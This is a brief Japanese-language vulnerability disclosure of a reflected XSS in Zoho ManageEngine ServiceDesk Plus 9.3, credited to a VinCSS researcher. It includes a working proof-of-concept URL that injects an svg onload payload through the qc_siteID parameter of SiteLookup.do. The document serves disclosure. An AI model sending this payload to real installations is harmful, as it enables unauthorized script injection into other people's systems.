
情報説明: Zoho ManageEngine ServiceDesk Plus 9.3 に問題が見つかりました。SiteLookup.do の qc_siteID パラメータを介して XSS が発生します。
著者: Concobe of Tarantula Team - VinCSS (Vingroup のメンバー)
domain/SiteLookup.do?configID=0&SELECTSITE=qc_siteID"/><svg onload=alert('XSS')>&userConfigID=1&SELECTEDSITEID=1&SELECTEDSITENAME=